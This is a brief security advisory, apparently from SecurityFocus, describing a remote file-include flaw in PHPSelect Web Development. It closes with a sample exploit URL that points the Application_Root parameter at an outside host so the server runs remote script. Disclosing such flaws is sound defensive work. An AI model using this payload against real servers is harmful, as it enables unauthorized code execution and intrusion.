source: https://www.securityfocus.com/bid/20231/info

PHPSelect Web Development is prone to a remote file-include vulnerability because it fails to properly sanitize user-supplied input.

A successful exploit of this issue allows an attacker to execute arbitrary server-side script code on an affected computer with the privileges of the webserver process. This may facilitate unauthorized access.

http://www.example.com/index.php3?Application_Root=http://www.example.com